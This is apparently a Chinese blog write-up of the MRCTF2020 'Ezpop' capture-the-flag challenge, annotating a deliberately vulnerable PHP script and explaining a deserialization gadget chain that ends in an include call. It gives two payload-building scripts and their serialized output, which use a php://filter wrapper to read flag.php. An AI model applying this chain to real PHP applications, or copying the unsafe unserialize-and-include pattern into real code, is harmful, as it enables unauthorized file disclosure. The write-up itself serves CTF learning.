本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { 第一个类
protected $var;
public function append($value){
include($value); 文件包含,显然是我们找flag的关键
}
public function __invoke(){
$this->append($this->var); 调用_invoke()方法时,调用append函数
} 而调用_invoke()方法的要求是以调用函数的方式调用一个对象,也就是Modifier对象
}
class Show{ 第二个类
public $source; Show类里面有$source和$str两个public类型的变量
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source; str里面的source变量,可以让str为一个类
} 而Test类里面没有source这个变量,如果令str=new Test(),就能调用_get()方法
public function __wakeup(){ 反序列化时调用,显然是要调用的
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker"; 正则匹配,就是当作字符串处理,会调用__toString()
$this->source = "index.php"; 所以令source=一个类
}
}
}
class Test{
public $p; Test类里面的$p变量
public function __construct(){
$this->p = array(); new Test()时,$p为数组
}
public function __get($key){ 调用_get()时,以函数的形式返回$p数组
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show; 调用_construct()方法
highlight_file(__FILE__);
}
进行代码审计:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
include是敏感函数,_invoke(),这个函数的意思是:对象本身是不能够当作函数去使用的,一旦被当作函数使用,就会回调执行_invoke()方法。
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
return $function()直接出发了Modifier类里面的_invoke(),所以我们的关键点就是触发这里的_get()方法,然后调用_invoke函数,_get()方法将在访问不存在的成员变量时触发,如 Test->var 最后是我们的show()类,这个类是pop链构造的开始
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
_wakeup()方法反序列化时直接调用,其中preg_match()对source进行访问触发了toString()方法,_toString()方法又访问了str中的source
所以如果 $ str=new Test(),因为Test类中没有source,就直接调用了_get()魔术方法,函数返回这里我们让$$p=new Modifier(),以函数形式调用又能触发_invoke()魔术方法,最后让Modifier类中的var为我们读取flag.php就可以
现在来分析一下流程
首先反序列化调用__wakeup()方法 令source=new Show() 后 __wakeup()会调用__toString() 令$str=new Test()就会调用__get()方法 令p=new Modifier()就会调用__invoke(),然后命令执行
相关函数的意思:
__construct() 当一个对象创建时被调用
__toString() 当一个对象被当作一个字符串使用
__wakeup() 将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() 获得一个类的成员变量时调用
用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 调用函数的方式调用一个对象时的回应方法
看师傅们的博客 用的filter伪协议, payload
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct()
{
$this->str=new Test();
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));
运行结果:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
对pop进行传参数 得到base64编码,解码即可 这里也写出来第二中payload 方便以后学习
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();//此时source(show)->str
$a->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$a->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($a));
?>
运行结果:
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}